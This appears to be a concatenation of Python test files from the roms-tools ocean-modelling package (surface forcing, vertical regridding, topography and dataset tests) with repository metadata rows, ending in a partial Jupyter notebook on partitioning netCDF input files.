"another_grid_that_straddles_dateline_but_is_too_big_for_regional_test_data", "grid_that_straddles_180_degree_meridian", ], ) def test_successful_initialization_with_global_data(grid_fixture, request, use_dask): """Test initialization of SurfaceForcing with global data. Verifies that the SurfaceForcing object is correctly initialized with global data, including the correct handling of the grid and physics data. Checks both coarse and fine grid initialization. """ start_time = datetime(2020, 1, 31) end_time = datetime(2020, 2, 2) fname = download_test_data("ERA5_global_test_data.nc") grid = request.getfixturevalue(grid_fixture) for use_coarse_grid in [True, False]: sfc_forcing = SurfaceForcing( grid=grid, use_coarse_grid=use_coarse_grid, start_time=start_time, end_time=end_time, source={"name": "ERA5", "path": fname}, use_dask=use_dask, ) assert sfc_forcing.start_time == start_time assert sfc_forcing.end_time == end_time assert sfc_forcing.type == "physics" assert sfc_forcing.source == { "name": "ERA5", "path": fname, "climatology": False, } assert "uwnd" in sfc_forcing.ds assert "vwnd" in sfc_forcing.ds assert "swrad" in sfc_forcing.ds assert "lwrad" in sfc_forcing.ds assert "Tair" in sfc_forcing.ds assert "qair" in sfc_forcing.ds assert "rain" in sfc_forcing.ds assert sfc_forcing.ds.attrs["source"] == "ERA5" assert sfc_forcing.ds.coords["time"].attrs["units"] == "days" if use_coarse_grid: assert sfc_forcing.use_coarse_grid else: assert not sfc_forcing.use_coarse_grid def test_nans_filled_in(grid_that_straddles_dateline, use_dask): """Test that the surface forcing fields contain no NaNs. The test is performed twice: - First with the default fine grid. - Then with the coarse grid enabled. """ start_time = datetime(2020, 1, 31) end_time = datetime(2020, 2, 2) fname = download_test_data("ERA5_regional_test_data.nc") fname_bgc = download_test_data("CESM_surface_global_test_data_climatology.nc") for use_coarse_grid in [True, False]: sfc_forcing = SurfaceForcing( grid=grid_that_straddles_dateline, use_coarse_grid=use_coarse_grid, start_time=start_time, end_time=end_time, source={"name": "ERA5", "path": fname}, use_dask=use_dask, ) # Check that no NaNs are in surface forcing fields (they could make ROMS blow up) # Note that ROMS-Tools should replace NaNs with a fill value after the nan_check has successfully # completed; the nan_check passes if there are NaNs only over land assert not sfc_forcing.ds["uwnd"].isnull().any().values.item() assert not sfc_forcing.ds["vwnd"].isnull().any().values.item() assert not sfc_forcing.ds["rain"].isnull().any().values.item() sfc_forcing = SurfaceForcing( grid=grid_that_straddles_dateline, use_coarse_grid=use_coarse_grid, start_time=start_time, end_time=end_time, source={"name": "CESM_REGRIDDED", "path": fname_bgc, "climatology": True}, type="bgc", use_dask=use_dask, ) # Check that no NaNs are in surface forcing fields (they could make ROMS blow up) # Note that ROMS-Tools should replace NaNs with a fill value after the nan_check has successfully # completed; the nan_check passes if there are NaNs only over land assert not sfc_forcing.ds["pco2_air"].isnull().any().values.item() def test_time_attr_climatology(bgc_surface_forcing_from_climatology): """Test that the 'cycle_length' attribute is present in the time coordinate of the BGC dataset when using climatology data.""" for time_coord in ["pco2_time", "iron_time", "dust_time", "nox_time", "nhy_time"]: assert hasattr( bgc_surface_forcing_from_climatology.ds[time_coord], "cycle_length", ) assert hasattr(bgc_surface_forcing_from_climatology.ds, "climatology") def test_time_attr(bgc_surface_forcing): """Test that the 'cycle_length' attribute is not present in the time coordinate of the BGC dataset when not using climatology data.""" for time_coord in ["pco2_time", "iron_time", "dust_time", "nox_time", "nhy_time"]: assert not hasattr( bgc_surface_forcing.ds[time_coord], "cycle_length", ) assert not hasattr(bgc_surface_forcing.ds, "climatology") @pytest.mark.parametrize( "sfc_forcing_fixture, expected_climatology, expected_fname", [ ( "bgc_surface_forcing", False, download_test_data("CESM_surface_global_test_data.nc"), ), ( "bgc_surface_forcing_from_climatology", True, download_test_data("CESM_surface_global_test_data_climatology.nc"), ), ], ) def test_surface_forcing_creation( sfc_forcing_fixture, expected_climatology, expected_fname, request ): """Test the creation and initialization of the SurfaceForcing object with BGC. Verifies that the SurfaceForcing object is properly created with correct attributes. Ensures that expected variables are present in the dataset and that attributes match the given configurations. """ sfc_forcing = request.getfixturevalue(sfc_forcing_fixture) assert sfc_forcing.ds is not None assert "pco2_air" in sfc_forcing.ds assert "pco2_air_alt" in sfc_forcing.ds assert "iron" in sfc_forcing.ds assert "dust" in sfc_forcing.ds assert "nox" in sfc_forcing.ds assert "nhy" in sfc_forcing.ds assert sfc_forcing.start_time == datetime(2020, 2, 1) assert sfc_forcing.end_time == datetime(2020, 2, 1) assert sfc_forcing.type == "bgc" assert sfc_forcing.source == { "name": "CESM_REGRIDDED", "path": expected_fname, "climatology": expected_climatology, } assert not sfc_forcing.use_coarse_grid assert sfc_forcing.ds.attrs["source"] == "CESM_REGRIDDED" for time_coord in ["pco2_time", "iron_time", "dust_time", "nox_time", "nhy_time"]: assert sfc_forcing.ds.coords[time_coord].attrs["units"] == "days" sfc_forcing.plot("pco2_air", time=0) @pytest.mark.parametrize( "sfc_forcing_fixture", [ "bgc_surface_forcing", "bgc_surface_forcing_from_climatology", ], ) def test_surface_forcing_pco2_replication(sfc_forcing_fixture, request): """Test whether pco2_air and pco2_air_alt is the same after processing.""" sfc_forcing = request.getfixturevalue(sfc_forcing_fixture) xr.testing.assert_allclose( sfc_forcing.ds.pco2_air, sfc_forcing.ds.pco2_air_alt, rtol=1.0e-5 ) @pytest.mark.parametrize( "sfc_forcing_fixture", [ "surface_forcing", "corrected_surface_forcing", "coarse_surface_forcing", ], ) def test_surface_forcing_plot_save(sfc_forcing_fixture, request, tmp_path): """Test plot and save methods.""" sfc_forcing = request.getfixturevalue(sfc_forcing_fixture) sfc_forcing.plot(varname="uwnd", time=0) for file_str in ["test_sf", "test_sf.nc"]: # Create a temporary filepath using the tmp_path fixture for filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Test saving without partitioning saved_filenames = sfc_forcing.save(filepath) filepath_str = str(Path(filepath).with_suffix("")) expected_filepath = Path(f"{filepath_str}_202002.nc") assert saved_filenames == [expected_filepath] assert expected_filepath.exists() expected_filepath.unlink() # Test saving with partitioning saved_filenames = sfc_forcing.save(filepath, np_eta=1) expected_filepath_list = [ Path(filepath_str + f"_202002.{index}.nc") for index in range(1) ] assert saved_filenames == expected_filepath_list for expected_filepath in expected_filepath_list: assert expected_filepath.exists() expected_filepath.unlink() def test_surface_forcing_bgc_plot_save(bgc_surface_forcing, tmp_path): """Test plot and save methods.""" # Check the values in the dataset bgc_surface_forcing.plot(varname="pco2_air", time=0) for file_str in ["test_sf", "test_sf.nc"]: # Create a temporary filepath using the tmp_path fixture for filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Test saving without partitioning saved_filenames = bgc_surface_forcing.save(filepath) filepath_str = str(Path(filepath).with_suffix("")) expected_filepath = Path(f"{filepath_str}_202002.nc") assert saved_filenames == [expected_filepath] assert expected_filepath.exists() expected_filepath.unlink() # Test saving with partitioning saved_filenames = bgc_surface_forcing.save(filepath, np_xi=5) expected_filepath_list = [ Path(filepath_str + f"_202002.{index}.nc") for index in range(5) ] assert saved_filenames == expected_filepath_list for expected_filepath in expected_filepath_list: assert expected_filepath.exists() expected_filepath.unlink() def test_surface_forcing_bgc_from_clim_plot_save( bgc_surface_forcing_from_climatology, tmp_path ): """Test plot and save methods.""" # Check the values in the dataset bgc_surface_forcing_from_climatology.plot(varname="pco2_air", time=0) for file_str in ["test_sf", "test_sf.nc"]: # Create a temporary filepath using the tmp_path fixture for filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Test saving without partitioning saved_filenames = bgc_surface_forcing_from_climatology.save(filepath) filepath_str = str(Path(filepath).with_suffix("")) expected_filepath = Path(f"{filepath_str}_clim.nc") assert saved_filenames == [expected_filepath] assert expected_filepath.exists() expected_filepath.unlink() # Test saving with partitioning saved_filenames = bgc_surface_forcing_from_climatology.save( filepath, np_eta=5 ) expected_filepath_list = [ Path(filepath_str + f"_clim.{index}.nc") for index in range(5) ] assert saved_filenames == expected_filepath_list for expected_filepath in expected_filepath_list: assert expected_filepath.exists() expected_filepath.unlink() @pytest.mark.parametrize( "sfc_forcing_fixture", [ "surface_forcing", "coarse_surface_forcing", "corrected_surface_forcing", "bgc_surface_forcing", "bgc_surface_forcing_from_climatology", ], ) def test_roundtrip_yaml(sfc_forcing_fixture, request, tmp_path, use_dask): """Test that creating an SurfaceForcing object, saving its parameters to yaml file, and re-opening yaml file creates the same object.""" sfc_forcing = request.getfixturevalue(sfc_forcing_fixture) # Create a temporary filepath using the tmp_path fixture file_str = "test_yaml" for filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str sfc_forcing.to_yaml(filepath) sfc_forcing_from_file = SurfaceForcing.from_yaml(filepath, use_dask) assert sfc_forcing == sfc_forcing_from_file filepath = Path(filepath) filepath.unlink() @pytest.mark.parametrize( "sfc_forcing_fixture", [ "surface_forcing", "corrected_surface_forcing", "coarse_surface_forcing", "bgc_surface_forcing", ], ) def test_files_have_same_hash(sfc_forcing_fixture, request, tmp_path, use_dask): sfc_forcing = request.getfixturevalue(sfc_forcing_fixture) yaml_filepath = tmp_path / "test_yaml.yaml" filepath1 = tmp_path / "test1.nc" filepath2 = tmp_path / "test2.nc" sfc_forcing.to_yaml(yaml_filepath) sfc_forcing.save(filepath1) sfc_forcing_from_file = SurfaceForcing.from_yaml(yaml_filepath, use_dask=use_dask) sfc_forcing_from_file.save(filepath2) filepath_str1 = str(Path(filepath1).with_suffix("")) filepath_str2 = str(Path(filepath2).with_suffix("")) expected_filepath1 = f"{filepath_str1}_202002.nc" expected_filepath2 = f"{filepath_str2}_202002.nc" hash1 = calculate_file_hash(expected_filepath1) hash2 = calculate_file_hash(expected_filepath2) assert hash1 == hash2, f"Hashes do not match: {hash1} != {hash2}" yaml_filepath.unlink() Path(expected_filepath1).unlink() Path(expected_filepath2).unlink() def test_files_have_same_hash_clim( bgc_surface_forcing_from_climatology, tmp_path, use_dask ): yaml_filepath = tmp_path / "test_yaml" filepath1 = tmp_path / "test1.nc" filepath2 = tmp_path / "test2.nc" bgc_surface_forcing_from_climatology.to_yaml(yaml_filepath) bgc_surface_forcing_from_climatology.save(filepath1) sfc_forcing_from_file = SurfaceForcing.from_yaml(yaml_filepath, use_dask=use_dask) sfc_forcing_from_file.save(filepath2) filepath_str1 = str(Path(filepath1).with_suffix("")) filepath_str2 = str(Path(filepath2).with_suffix("")) expected_filepath1 = f"{filepath_str1}_clim.nc" expected_filepath2 = f"{filepath_str2}_clim.nc" hash1 = calculate_file_hash(expected_filepath1) hash2 = calculate_file_hash(expected_filepath2) assert hash1 == hash2, f"Hashes do not match: {hash1} != {hash2}" yaml_filepath.unlink() Path(expected_filepath1).unlink() Path(expected_filepath2).unlink() def test_from_yaml_missing_surface_forcing(tmp_path, use_dask): yaml_content = textwrap.dedent( """\ --- roms_tools_version: 0.0.0 --- Grid: nx: 100 ny: 100 size_x: 1800 size_y: 2400 center_lon: -10 center_lat: 61 rot: -20 topography_source: ETOPO5 smooth_factor: 8 hmin: 5.0 rmax: 0.2 """ ) # Create a temporary filepath using the tmp_path fixture file_str = "test_yaml" for yaml_filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Write YAML content to file if isinstance(yaml_filepath, Path): yaml_filepath.write_text(yaml_content) else: with open(yaml_filepath, "w") as f: f.write(yaml_content) with pytest.raises( ValueError, match="No SurfaceForcing configuration found in the YAML file.", ): SurfaceForcing.from_yaml(yaml_filepath, use_dask=use_dask) yaml_filepath = Path(yaml_filepath) yaml_filepath.unlink()
24,490
Python
.py
615
32.017886
119
0.645852
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,727
test_regrid.py
CWorthy-ocean_roms-tools/roms_tools/tests/test_setup/test_regrid.py
import pytest import numpy as np import xarray as xr from roms_tools.setup.regrid import VerticalRegrid def vertical_regridder(depth_values, layer_depth_rho_values): class DataContainer: """Mock class for holding data and dimension names.""" def __init__(self, ds): self.ds = ds self.dim_names = {"depth": "depth"} class Grid: """Mock class representing the grid object with layer depth information.""" def __init__(self, ds): self.ds = ds # Creating minimal mock data for testing # Depth levels in meters # Create mock datasets for DataContainer and Grid data_ds = xr.Dataset({"depth": (["depth"], depth_values)}) target_depth = xr.DataArray(data=layer_depth_rho_values, dims=["s_rho"]) # Instantiate DataContainer and Grid objects with mock datasets mock_data = DataContainer(data_ds) return VerticalRegrid(mock_data, target_depth) @pytest.mark.parametrize( "depth_values, layer_depth_rho_values, temp_data", [ ([5, 50, 100, 150], [130, 100, 70, 30, 10], [30, 25, 10, 2]), ([5, 50, 100, 150], [130, 100, 70, 30, 2], [30, 25, 10, 2]), ([5, 50, 100, 150], [200, 100, 70, 30, 10], [30, 25, 10, 2]), ([5, 50, 100, 150], [200, 100, 70, 30, 1], [30, 25, 10, 2]), ], ) def test_vertical_regrid(request, depth_values, layer_depth_rho_values, temp_data): vertical_regrid = vertical_regridder( depth_values=depth_values, layer_depth_rho_values=layer_depth_rho_values ) data = xr.Dataset({"temp_data": (["depth"], temp_data)}) # without filling in NaNs regridded = vertical_regrid.apply(data.temp_data, fill_nans=False) expected = np.interp( layer_depth_rho_values, depth_values, temp_data, left=np.nan, right=np.nan ) assert np.allclose(expected, regridded.data, equal_nan=True) # with filling in NaNs regridded = vertical_regrid.apply(data.temp_data, fill_nans=True) expected = np.interp(layer_depth_rho_values, depth_values, temp_data) assert np.allclose(expected, regridded.data, equal_nan=True)
2,120
Python
.py
46
40.108696
83
0.657933
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,728
test_topography.py
CWorthy-ocean_roms-tools/roms_tools/tests/test_setup/test_topography.py
from roms_tools import Grid from roms_tools.setup.topography import _compute_rfactor import numpy as np import numpy.testing as npt from scipy.ndimage import label def test_enclosed_regions(): """Test that there are only two connected regions, one dry and one wet.""" grid = Grid( nx=100, ny=100, size_x=1800, size_y=2400, center_lon=30, center_lat=61, rot=20, ) reg, nreg = label(grid.ds.mask_rho) npt.assert_equal(nreg, 2) def test_rmax_criterion(): grid = Grid( nx=100, ny=100, size_x=1800, size_y=2400, center_lon=30, center_lat=61, rot=20, ) r_eta, r_xi = _compute_rfactor(grid.ds.h) rmax0 = np.max([r_eta.max(), r_xi.max()]) npt.assert_array_less(rmax0, 0.2) def test_hmin_criterion(): grid = Grid( nx=100, ny=100, size_x=1800, size_y=2400, center_lon=30, center_lat=61, rot=20, hmin=5.0, ) assert grid.hmin == 5.0 assert np.less_equal(grid.hmin, grid.ds.h.min()) grid.update_topography_and_mask(hmin=10.0) assert grid.hmin == 10.0 assert np.less_equal(grid.hmin, grid.ds.h.min()) def test_mask_topography_boundary(): """Test that the mask and topography along the grid boundaries (north, south, east, west) are identical to the adjacent inland cells.""" # Create a grid with some land along the northern boundary grid = Grid( nx=10, ny=10, size_x=1000, size_y=1000, center_lon=-20, center_lat=60, rot=0 ) # Toopography np.testing.assert_array_equal( grid.ds.h.isel(eta_rho=0).data, grid.ds.h.isel(eta_rho=1).data ) np.testing.assert_array_equal( grid.ds.h.isel(eta_rho=-1).data, grid.ds.h.isel(eta_rho=-2).data ) np.testing.assert_array_equal( grid.ds.h.isel(xi_rho=0).data, grid.ds.h.isel(xi_rho=1).data ) np.testing.assert_array_equal( grid.ds.h.isel(xi_rho=-1).data, grid.ds.h.isel(xi_rho=-2).data ) # Mask np.testing.assert_array_equal( grid.ds.mask_rho.isel(eta_rho=0).data, grid.ds.mask_rho.isel(eta_rho=1).data ) np.testing.assert_array_equal( grid.ds.mask_rho.isel(eta_rho=-1).data, grid.ds.mask_rho.isel(eta_rho=-2).data ) np.testing.assert_array_equal( grid.ds.mask_rho.isel(xi_rho=0).data, grid.ds.mask_rho.isel(xi_rho=1).data ) np.testing.assert_array_equal( grid.ds.mask_rho.isel(xi_rho=-1).data, grid.ds.mask_rho.isel(xi_rho=-2).data )
2,581
Python
.py
80
25.9625
87
0.624145
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,729
test_datasets.py
CWorthy-ocean_roms-tools/roms_tools/tests/test_setup/test_datasets.py
import pytest from datetime import datetime import numpy as np import xarray as xr from roms_tools.setup.datasets import ( Dataset, GLORYSDataset, ERA5Correction, CESMBGCDataset, ) from roms_tools.setup.download import download_test_data from pathlib import Path @pytest.fixture def global_dataset(): lon = np.linspace(0, 359, 360) lat = np.linspace(-90, 90, 180) depth = np.linspace(0, 2000, 10) time = [ np.datetime64("2022-01-01T00:00:00"), np.datetime64("2022-02-01T00:00:00"), np.datetime64("2022-03-01T00:00:00"), np.datetime64("2022-04-01T00:00:00"), ] data = np.random.rand(4, 10, 180, 360) ds = xr.Dataset( {"var": (["time", "depth", "latitude", "longitude"], data)}, coords={ "time": (["time"], time), "depth": (["depth"], depth), "latitude": (["latitude"], lat), "longitude": (["longitude"], lon), }, ) return ds @pytest.fixture def global_dataset_with_noon_times(): lon = np.linspace(0, 359, 360) lat = np.linspace(-90, 90, 180) time = [ np.datetime64("2022-01-01T12:00:00"), np.datetime64("2022-02-01T12:00:00"), np.datetime64("2022-03-01T12:00:00"), np.datetime64("2022-04-01T12:00:00"), ] data = np.random.rand(4, 180, 360) ds = xr.Dataset( {"var": (["time", "latitude", "longitude"], data)}, coords={ "time": (["time"], time), "latitude": (["latitude"], lat), "longitude": (["longitude"], lon), }, ) return ds @pytest.fixture def global_dataset_with_multiple_times_per_day(): lon = np.linspace(0, 359, 360) lat = np.linspace(-90, 90, 180) time = [ np.datetime64("2022-01-01T00:00:00"), np.datetime64("2022-01-01T12:00:00"), np.datetime64("2022-02-01T00:00:00"), np.datetime64("2022-02-01T12:00:00"), np.datetime64("2022-03-01T00:00:00"), np.datetime64("2022-03-01T12:00:00"), np.datetime64("2022-04-01T00:00:00"), np.datetime64("2022-04-01T12:00:00"), ] data = np.random.rand(8, 180, 360) ds = xr.Dataset( {"var": (["time", "latitude", "longitude"], data)}, coords={ "time": (["time"], time), "latitude": (["latitude"], lat), "longitude": (["longitude"], lon), }, ) return ds @pytest.fixture def non_global_dataset(): lon = np.linspace(0, 180, 181) lat = np.linspace(-90, 90, 180) data = np.random.rand(180, 181) ds = xr.Dataset( {"var": (["latitude", "longitude"], data)}, coords={"latitude": (["latitude"], lat), "longitude": (["longitude"], lon)}, ) return ds @pytest.mark.parametrize( "data_fixture, expected_time_values", [ ( "global_dataset", [ np.datetime64("2022-02-01T00:00:00"), np.datetime64("2022-03-01T00:00:00"), ], ), ( "global_dataset_with_noon_times", [ np.datetime64("2022-01-01T12:00:00"), np.datetime64("2022-02-01T12:00:00"), np.datetime64("2022-03-01T12:00:00"), ], ), ( "global_dataset_with_multiple_times_per_day", [ np.datetime64("2022-02-01T00:00:00"), np.datetime64("2022-02-01T12:00:00"), np.datetime64("2022-03-01T00:00:00"), ], ), ], ) def test_select_times(data_fixture, expected_time_values, request, tmp_path, use_dask): """Test selecting times with different datasets.""" start_time = datetime(2022, 2, 1) end_time = datetime(2022, 3, 1) # Get the fixture dynamically based on the parameter dataset = request.getfixturevalue(data_fixture) filepath = tmp_path / "test.nc" dataset.to_netcdf(filepath) dataset = Dataset( filename=filepath, var_names={"var": "var"}, start_time=start_time, end_time=end_time, use_dask=use_dask, ) assert dataset.ds is not None assert len(dataset.ds.time) == len(expected_time_values) for expected_time in expected_time_values: assert expected_time in dataset.ds.time.values @pytest.mark.parametrize( "data_fixture, expected_time_values", [ ("global_dataset", [np.datetime64("2022-02-01T00:00:00")]), ("global_dataset_with_noon_times", [np.datetime64("2022-02-01T12:00:00")]), ], ) def test_select_times_valid_start_no_end_time( data_fixture, expected_time_values, request, tmp_path, use_dask ): """Test selecting times with only start_time specified.""" start_time = datetime(2022, 2, 1) # Get the fixture dynamically based on the parameter dataset = request.getfixturevalue(data_fixture) # Create a temporary file filepath = tmp_path / "test.nc" dataset.to_netcdf(filepath) # Instantiate Dataset object using the temporary file dataset = Dataset( filename=filepath, var_names={"var": "var"}, start_time=start_time, use_dask=use_dask, ) assert dataset.ds is not None assert len(dataset.ds.time) == len(expected_time_values) for expected_time in expected_time_values: assert expected_time in dataset.ds.time.values @pytest.mark.parametrize( "data_fixture, expected_time_values", [ ("global_dataset", [np.datetime64("2022-02-01T00:00:00")]), ("global_dataset_with_noon_times", [np.datetime64("2022-02-01T12:00:00")]), ], ) def test_select_times_invalid_start_no_end_time( data_fixture, expected_time_values, request, tmp_path, use_dask ): """Test selecting times with only start_time specified.""" # Get the fixture dynamically based on the parameter dataset = request.getfixturevalue(data_fixture) # Create a temporary file filepath = tmp_path / "test.nc" dataset.to_netcdf(filepath) with pytest.raises( ValueError, match="The dataset does not contain any time entries between the specified start_time", ): dataset = Dataset( filename=filepath, var_names={"var": "var"}, start_time=datetime(2022, 5, 1), use_dask=use_dask, ) def test_multiple_matching_times( global_dataset_with_multiple_times_per_day, tmp_path, use_dask ): """Test handling when multiple matching times are found when end_time is not specified.""" filepath = tmp_path / "test.nc" global_dataset_with_multiple_times_per_day.to_netcdf(filepath) dataset = Dataset( filename=filepath, var_names={"var": "var"}, start_time=datetime(2022, 1, 31, 22, 0), use_dask=use_dask, ) assert dataset.ds["time"].values == np.datetime64(datetime(2022, 2, 1, 0, 0)) def test_warnings_times(global_dataset, tmp_path, use_dask): """Test handling when no matching times are found.""" # Create a temporary file filepath = tmp_path / "test.nc" global_dataset.to_netcdf(filepath) with pytest.warns(Warning, match="No records found at or before the start_time."): start_time = datetime(2021, 1, 1) end_time = datetime(2021, 2, 1) Dataset( filename=filepath, var_names={"var": "var"}, start_time=start_time, end_time=end_time, use_dask=use_dask, ) with pytest.warns(Warning, match="No records found at or after the end_time."): start_time = datetime(2024, 1, 1) end_time = datetime(2024, 2, 1) Dataset( filename=filepath, var_names={"var": "var"}, start_time=start_time, end_time=end_time, use_dask=use_dask, ) def test_reverse_latitude_reverse_depth_choose_subdomain( global_dataset, tmp_path, use_dask ): """Test reversing latitude when it is not ascending, the choose_subdomain method, and the convert_to_negative_depth method of the Dataset class.""" start_time = datetime(2022, 1, 1) filepath = tmp_path / "test.nc" global_dataset["latitude"] = global_dataset["latitude"][::-1] global_dataset["depth"] = global_dataset["depth"][::-1] global_dataset.to_netcdf(filepath) dataset = Dataset( filename=filepath, var_names={"var": "var"}, dim_names={ "latitude": "latitude", "longitude": "longitude", "time": "time", "depth": "depth", }, start_time=start_time, use_dask=use_dask, ) assert np.all(np.diff(dataset.ds["latitude"]) > 0) assert np.all(np.diff(dataset.ds["depth"]) > 0) # test choosing subdomain for domain that straddles the dateline ds = dataset.choose_subdomain( latitude_range=(-10, 10), longitude_range=(-10, 10), margin=1, straddle=True, return_subdomain=True, ) assert -11 <= ds["latitude"].min() <= 11 assert -11 <= ds["latitude"].max() <= 11 assert -11 <= ds["longitude"].min() <= 11 assert -11 <= ds["longitude"].max() <= 11 ds = dataset.choose_subdomain( latitude_range=(-10, 10), longitude_range=(10, 20), margin=1, straddle=False, return_subdomain=True, ) assert -11 <= ds["latitude"].min() <= 11 assert -11 <= ds["latitude"].max() <= 11 assert 9 <= ds["longitude"].min() <= 21 assert 9 <= ds["longitude"].max() <= 21 def test_check_if_global_with_global_dataset(global_dataset, tmp_path, use_dask): filepath = tmp_path / "test.nc" global_dataset.to_netcdf(filepath) dataset = Dataset(filename=filepath, var_names={"var": "var"}, use_dask=use_dask) is_global = dataset.check_if_global(dataset.ds) assert is_global def test_check_if_global_with_non_global_dataset( non_global_dataset, tmp_path, use_dask ): filepath = tmp_path / "test.nc" non_global_dataset.to_netcdf(filepath) dataset = Dataset(filename=filepath, var_names={"var": "var"}, use_dask=use_dask) is_global = dataset.check_if_global(dataset.ds) assert not is_global def test_check_dataset(global_dataset, tmp_path, use_dask): ds = global_dataset.copy() ds = ds.drop_vars("var") filepath = tmp_path / "test.nc" ds.to_netcdf(filepath) start_time = datetime(2022, 2, 1) end_time = datetime(2022, 3, 1) with pytest.raises( ValueError, match="Dataset does not contain all required variables." ): Dataset( filename=filepath, var_names={"var": "var"}, start_time=start_time, end_time=end_time, use_dask=use_dask, ) ds = global_dataset.copy() ds = ds.rename({"latitude": "lat", "longitude": "long"}) filepath = tmp_path / "test2.nc" ds.to_netcdf(filepath) start_time = datetime(2022, 2, 1) end_time = datetime(2022, 3, 1) with pytest.raises( ValueError, match="Dataset does not contain all required dimensions." ): Dataset( filename=filepath, var_names={"var": "var"}, start_time=start_time, end_time=end_time, use_dask=use_dask, ) def test_era5_correction_choose_subdomain(use_dask): data = ERA5Correction(use_dask=use_dask) lats = data.ds.latitude[10:20] lons = data.ds.longitude[10:20] coords = {"latitude": lats, "longitude": lons} data.choose_subdomain(coords, straddle=False) assert (data.ds["latitude"] == lats).all() assert (data.ds["longitude"] == lons).all() def test_data_concatenation(use_dask): fname = download_test_data("GLORYS_NA_2012.nc") data = GLORYSDataset( filename=fname, start_time=datetime(2012, 1, 1), end_time=datetime(2013, 1, 1), use_dask=use_dask, ) # Concatenating the datasets at fname0 and fname1 should result in the dataset at fname fname0 = download_test_data("GLORYS_NA_20120101.nc") fname1 = download_test_data("GLORYS_NA_20121231.nc") # Test concatenation based on wildcards directory_path = Path(fname0).parent data_concatenated = GLORYSDataset( filename=str(directory_path) + "/GLORYS_NA_2012????.nc", start_time=datetime(2012, 1, 1), end_time=datetime(2013, 1, 1), use_dask=use_dask, ) assert data.ds.equals(data_concatenated.ds) # Test concatenation based on lists data_concatenated = GLORYSDataset( filename=[fname0, fname1], start_time=datetime(2012, 1, 1), end_time=datetime(2013, 1, 1), use_dask=use_dask, ) assert data.ds.equals(data_concatenated.ds) def test_time_validation(use_dask): fname = download_test_data("GLORYS_NA_2012.nc") with pytest.raises(TypeError, match="start_time must be a datetime object"): GLORYSDataset( filename=fname, start_time="dummy", end_time=datetime(2013, 1, 1), use_dask=use_dask, ) with pytest.raises(TypeError, match="end_time must be a datetime object"): GLORYSDataset( filename=fname, start_time=datetime(2012, 1, 1), end_time="dummy", use_dask=use_dask, ) def test_climatology_error(use_dask): fname = download_test_data("GLORYS_NA_2012.nc") with pytest.raises( ValueError, match="The dataset contains 2 time steps, but the climatology flag is set to True, which requires exactly 12 time steps.", ): GLORYSDataset( filename=fname, start_time=datetime(2012, 1, 1), end_time=datetime(2013, 1, 1), climatology=True, use_dask=use_dask, ) fname_bgc = download_test_data("CESM_regional_coarse_test_data_climatology.nc") with pytest.raises( ValueError, match="The dataset contains integer time values, which are only supported when the climatology flag is set to True. However, your climatology flag is set to False.", ): CESMBGCDataset( filename=fname_bgc, start_time=datetime(2012, 1, 1), end_time=datetime(2013, 1, 1), climatology=False, use_dask=use_dask, )
14,405
Python
.py
399
28.661654
173
0.610569
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,730
partition.ipynb
CWorthy-ocean_roms-tools/docs/partition.ipynb
{ "cells": [ { "cell_type": "markdown", "id": "ce8e1e7c-bc05-435a-ab05-68e03a5866a4", "metadata": {}, "source": [ "# Partitioning the input files\n", "\n", "ROMS requires partitioned (or tiled) input files so that the simulation can be parallelized over multiple nodes. `ROMS-Tools` can create these partitioned files for you." ] }, { "cell_type": "markdown", "id": "60bb804f-c1ad-4a29-9983-016c9ba51921", "metadata": {}, "source": [ "## Partitioning existing files" ] }, { "cell_type": "markdown", "id": "9fe13d86-db59-4ce3-9a5a-3e5c594012fe", "metadata": {}, "source": [ "Let's assume we have already saved a global (i.e., non-partitioned) input file to disk. The following function can partition that global file." ] }, { "cell_type": "code", "execution_count": 1, "id": "9ddac10b-eaab-4837-8ada-76abafdf31cb", "metadata": {}, "outputs": [], "source": [ "from roms_tools.utils import partition_netcdf" ] }, { "cell_type": "markdown", "id": "6cd346fb-49ef-433c-a507-ab6c60e114df", "metadata": {}, "source": [ "Here is an example for creating and saving a global grid file with `ROMS-Tools`. (Note, however, that `ROMS-Tool`'s `partition_netcdf` tool does not care whether or whether not `ROMS-Tools` was used to create the global file.)" ] }, { "cell_type": "code", "execution_count": 2, "id": "71cece64-0143-41e6-b9c8-dc85b97d0bba", "metadata": {}, "outputs": [], "source": [ "from roms_tools import Grid" ] }, { "cell_type": "code", "execution_count": 3, "id": "93596aca-7ee2-4757-8383-bc09267eec6e", "metadata": { "tags": [] }, "outputs": [], "source": [ "grid = Grid(\n", " nx=100, ny=100, size_x=1800, size_y=2400, center_lon=-21, center_lat=61, rot=20\n", ")" ] }, { "cell_type": "code", "execution_count": 4, "id": "eee45862-2383-4335-896c-de567478aeae", "metadata": {}, "outputs": [], "source": [ "filepath = \"/glade/derecho/scratch/noraloose/examples/my_grid.nc\"" ] }, { "cell_type": "code", "execution_count": 5, "id": "72e1cf7e-226e-4abe-8abe-e39877fbc21b", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Saving the following files:\n", "/glade/derecho/scratch/noraloose/examples/my_grid.nc\n" ] } ], "source": [ "grid.save(filepath)" ] }, { "cell_type": "markdown", "id": "11a319f2-dcb4-425c-b679-74e38ab66184", "metadata": {}, "source": [ "We can now partition the saved file. We need to tell the `partition_netcdf` function what domain decomposition to use via the following two parameters:\n", "\n", "* `np_eta` : The number of partitions along the `eta` direction.\n", "* `np_xi` : The number of partitions along the `xi` direction." ] }, { "cell_type": "code", "execution_count": 6, "id": "16a35ce0-9ef6-49b5-8230-46f99dc4709f", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Saving the following files:\n", "/glade/derecho/scratch/noraloose/examples/my_grid.0.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.1.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.2.nc\n", 